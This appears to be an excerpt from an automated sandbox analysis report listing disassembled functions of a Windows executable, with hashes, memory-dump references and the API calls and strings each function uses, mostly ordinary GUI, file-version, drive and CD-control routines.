Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction ID: cdb44d7d9dafe0f3afa323861852344916ba03a2e464e9f296f2916295173d9b
Opcode Fuzzy Hash: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction Fuzzy Hash: 7C718F21A0CA8246FA788A2D90602FD67A1AF43F48F641535DF4DD76DFCE2DEC469B01

Function 00007FF6B5B5A8A0 Relevance: 1.4, Strings: 1, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

Strings

@, xrefs: 00007FF6B5B5A8DC

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
Instruction ID: cc967cb14d95f1ecdb7f675c488efd6843759214fc8ef46aacaed919bcfae4c5
Opcode Fuzzy Hash: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
Instruction Fuzzy Hash: 03419262714B5985EA48CF2AE8242E963A1BB4DFD4B49A037DF0E97759DF3CD845C300

Function 00007FF6B5B358D0 Relevance: .7, Instructions: 692COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
Instruction ID: 9699ef9372640c7de950a53dd845a56a510199ded212d6b7a1ef505b97beeaff
Opcode Fuzzy Hash: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
Instruction Fuzzy Hash: E0528E32A0964282EA34DB29D0A9AFD27A5EF07F84F154535DB5E976CBDE2CEC40C341

Function 00007FF6B5B2B390 Relevance: .7, Instructions: 682COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 03c842504c7de61de67b00940c9f69ee6dc3e6ca5c43510269113482fa0a35cf
Instruction ID: 1d75604308fba32dd70e539c8203667ce39a49fcce12061ee41146ec27ea0e65
Opcode Fuzzy Hash: 03c842504c7de61de67b00940c9f69ee6dc3e6ca5c43510269113482fa0a35cf
Instruction Fuzzy Hash: B5525A72B08A4289EB10DF69D0642FD27A1FB4AF98F504235DF1D9B7DADE39E8058350

Function 00007FF6B5B2B9F0 Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2428b1a41b9dab0837923aee02f6dd20d06634fc1108aa9b555873352bd9b52
Instruction ID: ede5456a81888660eb88be868c92dcea471e0210c60ff5626ed17a521b8af244
Opcode Fuzzy Hash: a2428b1a41b9dab0837923aee02f6dd20d06634fc1108aa9b555873352bd9b52
Instruction Fuzzy Hash: 3F426F32A0878286EB10DB29D4601ED7BA5FB86B98F604135DF5D97B9EDF39E841C700

Function 00007FF6B5BA1A18 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction ID: dca901bb77d6eb49083782413c04a4f695529de5e019c8155430640cfe5ccdf4
Opcode Fuzzy Hash: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction Fuzzy Hash: 82219F33B2454586E708CF79D8666E933E5A365B08F08C13ED62B87289CF3CE905C740

Function 00007FF6B5B5FD20 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction ID: e57973238fe16c1148e4f3a7bf2e6564e967807d27f6e3e76d0057f9fd3fa8b6
Opcode Fuzzy Hash: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction Fuzzy Hash: 9EF049B27242954AD7A48F1CA45396977A1E708790B94803DD689C3E48DE3C94919F04

Function 00007FF6B5B459C8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction ID: fbd3a4183d47e7b1befcb59a211ad1826e0de31b741051c1efac3e82ccc9c024
Opcode Fuzzy Hash: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction Fuzzy Hash: E0A0026594EC02D4E6188B08E8708F42730EB52B10F510432D20DC14EB9F3DAC84C700

Function 00007FF6B5BA4F30 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 247COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF6B5BA4F61
GetDriveTypeW.KERNEL32 ref: 00007FF6B5BA50BE
SetErrorMode.KERNEL32 ref: 00007FF6B5BA52A3

Strings

ATAPI, xrefs: 00007FF6B5BA51F0
RAMDisk, xrefs: 00007FF6B5BA50ED
USB, xrefs: 00007FF6B5BA51BA
SCSI, xrefs: 00007FF6B5BA51F9
SSA, xrefs: 00007FF6B5BA51D2
Virtual, xrefs: 00007FF6B5BA5231
ATA, xrefs: 00007FF6B5BA51E7
Fibre, xrefs: 00007FF6B5BA51C6
FileBackedVirtual, xrefs: 00007FF6B5BA5228
Network, xrefs: 00007FF6B5BA5105
Removable, xrefs: 00007FF6B5BA511D
PhysicalDrive, xrefs: 00007FF6B5BA4FF5
SSD, xrefs: 00007FF6B5BA515D
iSCSI, xrefs: 00007FF6B5BA525E
SATA, xrefs: 00007FF6B5BA524C
SAS, xrefs: 00007FF6B5BA5255
Fixed, xrefs: 00007FF6B5BA5111
MMC, xrefs: 00007FF6B5BA523A
\\.\, xrefs: 00007FF6B5BA4FAE
CDROM, xrefs: 00007FF6B5BA50F9
Unknown, xrefs: 00007FF6B5BA50E1
RAID, xrefs: 00007FF6B5BA5202
1394, xrefs: 00007FF6B5BA51DE

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
Instruction ID: 3f26d993252364d6f83939cb7b4fd0a7ae762044d6a11d498a4144287e102022
Opcode Fuzzy Hash: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
Instruction Fuzzy Hash: 80B17C21A0CB4295FE649B6DD8605F82761AB52F84BA44131DB0E87ADFEF3DEE458700

Function 00007FF6B5BC6EA0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 268windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF6B5BC6FE4
GetDesktopWindow.USER32 ref: 00007FF6B5BC6FF4
GetWindowRect.USER32 ref: 00007FF6B5BC7002
GetWindowLongW.USER32 ref: 00007FF6B5BC705E
DestroyWindow.USER32 ref: 00007FF6B5BC707C
CreateWindowExW.USER32 ref: 00007FF6B5BC70D3
SendMessageW.USER32 ref: 00007FF6B5BC70EF
SendMessageW.USER32 ref: 00007FF6B5BC7108
SendMessageW.USER32 ref: 00007FF6B5BC7123
SendMessageW.USER32 ref: 00007FF6B5BC7140
IsWindowVisible.USER32 ref: 00007FF6B5BC7192
SendMessageW.USER32 ref: 00007FF6B5BC71B6
SendMessageW.USER32 ref: 00007FF6B5BC71D1
GetWindowRect.USER32 ref: 00007FF6B5BC71EC
MonitorFromPoint.USER32 ref: 00007FF6B5BC7210
GetMonitorInfoW.USER32 ref: 00007FF6B5BC7224
CopyRect.USER32 ref: 00007FF6B5BC7237
SendMessageW.USER32 ref: 00007FF6B5BC729C

Strings

tooltips_class32, xrefs: 00007FF6B5BC7095

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: tooltips_class32
API String ID: 698492251-1918224756
Opcode ID: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
Instruction ID: e0eaeffc0a27ca9230f848c144df26e537471d8881c604e0ccfe54c8ce48ab4a
Opcode Fuzzy Hash: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
Instruction Fuzzy Hash: BBC13F72A08B418AE714CF69E4646ED77A0FB8AB94F500039DB5E87799CF7CE841CB04

Function 00007FF6B5B22620 Relevance: 28.7, APIs: 19, Instructions: 201COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B22750: GetWindowLongPtrW.USER32 ref: 00007FF6B5B22766

GetSysColor.USER32 ref: 00007FF6B5B22663
GetSysColor.USER32 ref: 00007FF6B5B226F8
SetTextColor.GDI32 ref: 00007FF6B5B22703
SetBkMode.GDI32 ref: 00007FF6B5B22718
GetStockObject.GDI32 ref: 00007FF6B5B22723
GetSysColor.USER32 ref: 00007FF6B5B6A84E
GetWindowLongW.USER32 ref: 00007FF6B5B6A863
SetBkColor.GDI32 ref: 00007FF6B5B6A940

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Color$LongWindow$ModeObjectStockText
String ID:
API String ID: 554392163-0
Opcode ID: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
Instruction ID: 3302aee0051142105d7c6eb383bef70389806fa0b16b25395efc0c11c463e581
Opcode Fuzzy Hash: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
Instruction Fuzzy Hash: 2681E322D0865782EA718B2D94686F97792AF87F60F554231CB5DC32EEDE3DAC42C700

Function 00007FF6B5B9C81C Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION ref: 00007FF6B5B9C841
GetFileVersionInfoW.VERSION ref: 00007FF6B5B9C869
wcscpy.LIBCMT ref: 00007FF6B5B9C8A6
wcscat.LIBCMT ref: 00007FF6B5B9C8C8
wcsstr.LIBVCRUNTIME ref: 00007FF6B5B9C8D3
VerQueryValueW.VERSION ref: 00007FF6B5B9C8F4
wcscat.LIBCMT ref: 00007FF6B5B9C934
wcscat.LIBCMT ref: 00007FF6B5B9C93F
wcscat.LIBCMT ref: 00007FF6B5B9C94A
VerQueryValueW.VERSION ref: 00007FF6B5B9C9A0

Strings

DefaultLangCodepage, xrefs: 00007FF6B5B9C94F
%u.%u.%u.%u, xrefs: 00007FF6B5B9C9BE
04090000, xrefs: 00007FF6B5B9C92A
StringFileInfo\, xrefs: 00007FF6B5B9C8BE
\VarFileInfo\Translation, xrefs: 00007FF6B5B9C8ED

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: wcscat$FileInfoQueryValueVersion$Sizewcscpywcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 222038402-1459072770
Opcode ID: cd0cb460e9213e7bbd7e72b67b5e96f7d513e8dcebbe310305f3515603c5f5bf
Instruction ID: cabe870667bf068b025f551d3559bf0fdb1d0c746e39a881ec32d21bad62d4b5
Opcode Fuzzy Hash: cd0cb460e9213e7bbd7e72b67b5e96f7d513e8dcebbe310305f3515603c5f5bf
Instruction Fuzzy Hash: C8516D25B0864246EA24EB2A95611F96391EF86FD0F448431EF1D8BB9BDF3CE902C704

Function 00007FF6B5BC6608 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 475windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF6B5BC66C7
SendMessageW.USER32 ref: 00007FF6B5BC6749

Strings

COLLAPSE, xrefs: 00007FF6B5BC67D1
EXPAND, xrefs: 00007FF6B5BC68B4
UNCHECK, xrefs: 00007FF6B5BC6B76
CHECK, xrefs: 00007FF6B5BC676F
EXISTS, xrefs: 00007FF6B5BC6833
ISCHECKED, xrefs: 00007FF6B5BC6A78
SELECT, xrefs: 00007FF6B5BC6B0B
GETSELECTED, xrefs: 00007FF6B5BC698F
GETTEXT, xrefs: 00007FF6B5BC69F7
GETITEMCOUNT, xrefs: 00007FF6B5BC6922
GETTOTALCOUNT, xrefs: 00007FF6B5BC66F9

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
Instruction ID: a35bf566c2bbc66f32323864c3d617681ed2aa1e10612428e476179a733c0677
Opcode Fuzzy Hash: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
Instruction Fuzzy Hash: BC12C312B1865382EE609F6D84219FD6B90AF5AF84B544535DF4DCA39BEF3DEC028314

Function 00007FF6B5BD1254 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 162windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B22A54: GetWindowLongPtrW.USER32 ref: 00007FF6B5B22A71

DragQueryPoint.SHELL32 ref: 00007FF6B5BD1298

Part of subcall function 00007FF6B5BCF014: ClientToScreen.USER32(00000000,?,?,?,?,00007FF6B5BD0BC9), ref: 00007FF6B5BCF054
Part of subcall function 00007FF6B5BCF014: GetWindowRect.USER32(?,?,?,?,00007FF6B5BD0BC9), ref: 00007FF6B5BCF0E3
Part of subcall function 00007FF6B5BCF014: PtInRect.USER32 ref: 00007FF6B5BCF0F3

SendMessageW.USER32 ref: 00007FF6B5BD130F
DragQueryFileW.SHELL32 ref: 00007FF6B5BD1321
DragQueryFileW.SHELL32 ref: 00007FF6B5BD1347
wcscat.LIBCMT ref: 00007FF6B5BD137B
SendMessageW.USER32 ref: 00007FF6B5BD1392
SendMessageW.USER32 ref: 00007FF6B5BD13AC
SendMessageW.USER32 ref: 00007FF6B5BD13C4
SendMessageW.USER32 ref: 00007FF6B5BD13E9
DragFinish.SHELL32 ref: 00007FF6B5BD13F2
DefDlgProcW.USER32 ref: 00007FF6B5BD1520

Strings

@GUI_DRAGID, xrefs: 00007FF6B5BD146B
@GUI_DROPID, xrefs: 00007FF6B5BD1415
@GUI_DRAGFILE, xrefs: 00007FF6B5BD14B4

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 2091158083-3440237614
Opcode ID: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
Instruction ID: 646ba66210d14cbdd63d0c35cb5678e2ec461fe5ef4e47651e960e6c63e5fa0b
Opcode Fuzzy Hash: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
Instruction Fuzzy Hash: BE716F36618A8296E750DB59E8657ED6720FB85B94F800032EB4E87A9ECF7CD949C700

Function 00007FF6B5BA3FD0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 197COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF6B5BA4077
GetDriveTypeW.KERNEL32 ref: 00007FF6B5BA4162
mciSendStringW.WINMM ref: 00007FF6B5BA41AA
mciSendStringW.WINMM ref: 00007FF6B5BA41F1
mciSendStringW.WINMM ref: 00007FF6B5BA4229

Strings

open , xrefs: 00007FF6B5BA4171
wait, xrefs: 00007FF6B5BA41D5
set cd door , xrefs: 00007FF6B5BA41B8
close cd wait, xrefs: 00007FF6B5BA420D
open, xrefs: 00007FF6B5BA40DC
type cdaudio alias cd wait, xrefs: 00007FF6B5BA418E
close, xrefs: 00007FF6B5BA407D
closed, xrefs: 00007FF6B5BA408C

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1600147383-4113822522
Opcode ID: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
Instruction ID: df016b4e7f8f982146574f2ef1d0e019342c0c5d55817fc86b6cb7750a028f59
Opcode Fuzzy Hash: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
Instruction Fuzzy Hash: F9818B22B14B5285FB14AB69D8612FC27A1FB56F88B544431CB0DC7A9AEF3DED46C340

Function 00007FF6B5BD0118 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 175windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00007FF6B5BD0201
LoadLibraryExW.KERNEL32 ref: 00007FF6B5BD026C
LoadImageW.USER32 ref: 00007FF6B5BD02B0
LoadImageW.USER32 ref: 00007FF6B5BD02EB
LoadImageW.USER32 ref: 00007FF6B5BD032F
FreeLibrary.KERNEL32 ref: 00007FF6B5BD033C
ExtractIconExW.SHELL32 ref: 00007FF6B5BD034E
DestroyIcon.USER32 ref: 00007FF6B5BD0360
SendMessageW.USER32 ref: 00007FF6B5BD037F
SendMessageW.USER32 ref: 00007FF6B5BD0397

Part of subcall function 00007FF6B5B48E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B48E4F

Part of subcall function 00007FF6B5B48E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B48EED

Strings

.icl, xrefs: 00007FF6B5BD0171
.exe, xrefs: 00007FF6B5BD0193
.dll, xrefs: 00007FF6B5BD01B5

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
